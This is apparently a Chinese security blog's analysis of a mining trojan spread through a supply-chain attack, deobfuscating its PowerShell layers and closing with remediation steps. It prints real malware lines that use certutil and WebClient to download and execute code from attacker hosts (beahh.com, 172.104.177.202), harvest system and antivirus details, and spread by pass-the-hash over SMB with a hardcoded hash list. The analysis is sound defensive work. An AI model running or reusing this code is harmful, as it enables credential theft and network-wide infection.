0x00 事件背景
360安全大脑监测到通过"驱动人生"供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新。此次更新中,木马在此前抓取系统帐户密码的基础上增加了抓取密码hash值的功能,并试图通过pass the hash攻击进行横向渗透,使得该木马的传播能力进一步加强,即使是有高强度口令的机器也有可能被攻陷。
pass the hash也称作哈希传递攻击,攻击者可以直接通过密码的哈希值访问远程主机或服务,而不用提供明文密码。攻击者使用pass the hash技术尝试在系统登录密码非弱口令并且无法抓取登录密码的情况下进行横向攻击,增加攻击成功率。
0x01 分析研讨
由于木马是样本都是不落地的方式,核心技术是通过定时计划任务执行powershell代码达到持续控制的目的,因此最先分析powershell代码,了解它做了哪些动作,指定查杀手段。
PS:样本代码过长,遂使用图片截图
0x02 分析过程
解密第一层
病毒样本:
第一个动作,创建一个名为Certificate
的任务计划,在七点开始,每隔一小时执行一次以下命令:
1
2
|
cmd.exe /c (cd %temp%&certutil -urlcache -split -f http://cert.beahh.com/cert.php?ver1=%COMPUTERNAME% v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)
|
由于目前cert.beahh.com
已经无法访问,所以进行下一个powershell分析环节。
首先,powershell -nop -w hidden -ep bypass -e
后接着就是base64编码的powershell代码,并且以Bypass作为当前执行策略。
Windows中的powershell执行策略:
1
2
3
4
5
6
7
8
9
| PS C:\Users\Rvn0xsy> Get-ExecutionPolicy -List
Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Undefined
CurrentUser Undefined
LocalMachine Bypass
|
将后面的base64解密后:
得到如下代码:
1
2
3
4
5
6
7
8
9
10
| while($true)
{
[System.Threading.Thread]::Sleep(200000);
[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream();
$r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##";
$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r));
iex $c;
[System.Threading.Thread]::Sleep(1000000);
}
|
外部是一个循环,将Sleep去除后,可以看到调用了Invoke-Expression
,Invoke-Expression
是一个能将变量的内容当作powershell表达式执行的函数。
而iex只是Invoke-Expression
的别名。
下面简单演示几个例子:
1
2
3
4
5
6
7
| PS C:\Users\Rvn0xsy> iex "Write-Host Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy> Write-Host Rvn0xsy
Rvn0xsy
PS C:\Users\Rvn0xsy> Invoke-Expression "Write-Host Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy>
|
将上述的木马脚本中iex替换成Write-Host即可:
1
2
3
4
5
6
7
8
9
| while($true)
{
[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream();
$r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##";
$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r));
Write-Host $c;
}
|
在这里我们使用Windows 10自带的Windows Powershell ISE脚本调试器来进行后续的分析。
解密第二层
很明显,我们看到有Invoke-Expression
,直接将Invoke-Expression
改为Write-Host
进行调试。
解密第三层
现在获得的代码可读性变得非常低了,但是还是有一定规律可循。
在第83行,有一个大小写混合的Invoke-Expression
:
并且Invoke-Expression
做左边还有一个管道符,直接将代码改为| Out-File .\tmp.log
,把结果输出到tmp.log文件中。
解密第四层
第四次好像混淆的更加厉害来,但是不影响我们的分析,先看首行:
1
| . ( $EnV:CoMsPec[4,26,25]-JoIN'')((('[string]3CHav = U'+'ABUAB[string]....
|
其中它是以. (表达式)(表达式)
来执行的,于是我想到了另外一种函数调用的可能:
1
2
3
| PS C:\Users\Rvn0xsy> . Write-Host "Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy>
|
这样也能执行,所以我判断 . ( $EnV:CoMsPec[4,26,25]-JoIN'')
就是iex
或者Invoke-Expression
,我将 . ( $EnV:CoMsPec[4,26,25]-JoIN'')
改为Write-Host
直接执行:
最终获得了未混淆的代码。
然后,为了验证我的猜想,我把代码进行更改,获得了Iex
:
. ( $EnV:CoMsPec[4,26,25]-JoIN'')
= Iex
0x03 行为分析
1
2
3
4
5
6
7
8
9
| [string]$av = ""[string]$avs = ""[string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)$avs = (Get-WmiObject -Namesp
ace root\SecurityCenter2 -Class AntiVirusProduct).displayNameif($avs.GetType().name.IndexOf('Object') -gt -1){for($v = 0; $v -lt $avs.Count; $v++){$av += $avs[$v] + "|"}}else{$av
= $avs}try{if((Get-Service zhudongfangyu | Sort -Property Status).Status -eq "Running"){$av += 'ZDFY'}}catch{}#[System.Threading.Thread]::Sleep((Get-Random -Minimum 10000 -Maximum
100000))$path = "$env:temp\\ppp.log"[string]$flag = test-path $path$key = "&mac="+$mac+"&av="+$av+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObj
ect Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAMEtry{$file = "$env:appdata\\Micro
soft\\cred.ps1"$size = (Get-ChildItem $file -recurse | Measure-Object -property length -sum).sum$file2 = "$env:ALLUSERSPROFILE\\Microsoft\\cred.ps1"$size2 = (Get-ChildItem $file2
-recurse | Measure-Object -property length -sum).sum if(($size -ne 50731) -and ($size2 -ne 50731)){try{$url = 'http://172.104.177.202/new.dat?xl' + $key(New-Object System.N
et.WebClient).DownloadFile($url,"$file")}catch{}&cmd.exe /c schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Credentials /tr "powershell -nop -w hidden -ep bypass -f %appdata%\
Microsoft\cred.ps1" /F}}catch{}[System.Threading.Thread]::Sleep(3000)Stop-Process -Force -processname powershell
|
大致意思就是收集本机的操作系统版本、用户名、MAC地址、杀毒软件写入当前环境变量的temp\ppp.log
中。
一般是C:\Users\<USERNAME>\AppData\Local\Temp\ppp.log
然后下载新的powershell文件,到C:\Users\<USERNAME>\AppData\Roaming\Microsoft\cred.ps1
中。
下载的URL是:http://172.104.177.202/new.dat?xl
目前ti上未打标签。
再次经过N层解密后,得到如下代码:
大约6000多行
脚本的功能:
1.获得当前用户Hash,读取注册表
2.获得当前系统版本、MAC地址、当前系统所有用户、反病毒软件,尤其是360 Zhudongfangyu服务
3.端口扫描,全量1-65535、445、139都会扫描
4.依赖于445 SMB服务进行传播
其中,常用的Hash和用户名:
1
| [string[]]$global:alluser = @("administrator","admin")[string[]]$global:allpass = @("32ed87bdb5fdc5e9cba88547376818d4","8846f7eaee8fb117ad06bdd830b7586c","7b592e4f8178b4c75788531b2e747687","3fa45a060bd2693ae4c05b601d05ca0c","69943c5e63b4d2c104dbbcc15138b72b","588feb889288fb953b5f094d47d1565c","3dbde697d71690a769204beb12283678","df54de3f3438343202c1dd523d0265be","7ce21f17c0aee7fb9ceba532d0546ad6","2d7f1a5a61d3a96fb5159b5eef17adc6","6103d9d963c57275dd3533674708e7be","579110c49145015c47ecd267657d3174","af27efb60c7b238910efe2a7e0676a39","259745cb123a52aa2e693aaacca2db52","4057b60b514c5402dde3d29a1845c366","e8cd0e4a9e89eab931dc5338fcbec54a","f1351ac828428d74f6da2968089fc91f","b5fe2db507cc5ac540493d48fbd5fe33","12bdea0a1cb9486c067deaa851ac1609","f9e37e83b83c47a93c2f09f66408631b","b23a90d0aad9da3615fafc27a1b8baeb","a333f09e72c683f0205049d0db8b81fb","ad70819c5bc807280974d80f45982011","2d20d252a479f485cdf5e171d93985bf","0b6549421b2e7333e0e281f3ba5eea94","209c6174da490caeb422f3fa5a7ae634","a80c9cc3f8439ada25af064a874efe2d","22315d6ed1a7d5f8a7c98c40e9fa2dec","b963c57010f218edc2cc3c229b5e4d0f","96880159e785de5314803b1169768900","8ec60adea316d957d1cf532c5841758d","c22b315c040ae6e0efee3518d830362b","7a21990fcd3d759941e45c490f143d5f","328727b81ca05805a68ef26acb252039","31c72c210ecc03d1eae94fa496069448","209c6174da490caeb422f3fa5a7ae634","674e48b68c5cd0efd8f7e5faa87b3d1e","31fc0dc8f7dfad0e8bd7ccc3842f2ce9","579110c49145015c47ecd267657d3174","f2477a144dff4f216ab81f2ac3e3207d","62b26c13b70e7d5a9724710a41e63688","5835048ce94ad0564e29a924a03510ef","7773c08920232397cae081704964b786","a4141712f19e9dd5adf16919bb38a95c","b3ec3e03e2a202cbd54fd104b8504fef","f9e37e83b83c47a93c2f09f66408631b","162e829be112225fedf856e38e1c65fe","f67f5e3f66efd7298be6acd32eeeb27c")
|
SMB服务传播代码:
会上传启动项:\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat
这个run.bat就是我拿到的种子了。
该木马涵盖了Windows SMB客户端的所有代码,以及哈希传递技术的所有功能。
代码有很多都是采用了Invoke-SMBClient。
优先感染子网:
其中在开始横向传播之前,它还会下载一个powershell代码:
但是目前这个域名已经无法访问,无法继续进行跟进。
http://p.beahh.com/upgrade.php?ver=1&mac=
其中在$bytebase64
中发现了run.bat
的代码:
0x04 预警与排查方案
- 1.开启Windows防火墙、关闭445端口。
- 2.防火墙禁止向
172.104.177.202
建立连接。 - 3.防火墙禁止与
*.beahh.com
域名的解析。 - 4.更改操作系统账号密码。
- 5.删除
Certificate
任务计划。 - 6.删除
Credentials
任务计划。 - 7.删除启动项
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat
。 - 8.删除
%appdata%\Microsoft\cred.ps1
。
最主要就是禁止与172.104.177.202
进行通信。
下载器样本:https://payloads.online/scripts/2019-02-23-downloader.txt
木马本体(解密后):https://payloads.online/scripts/2019-02-23-res.txt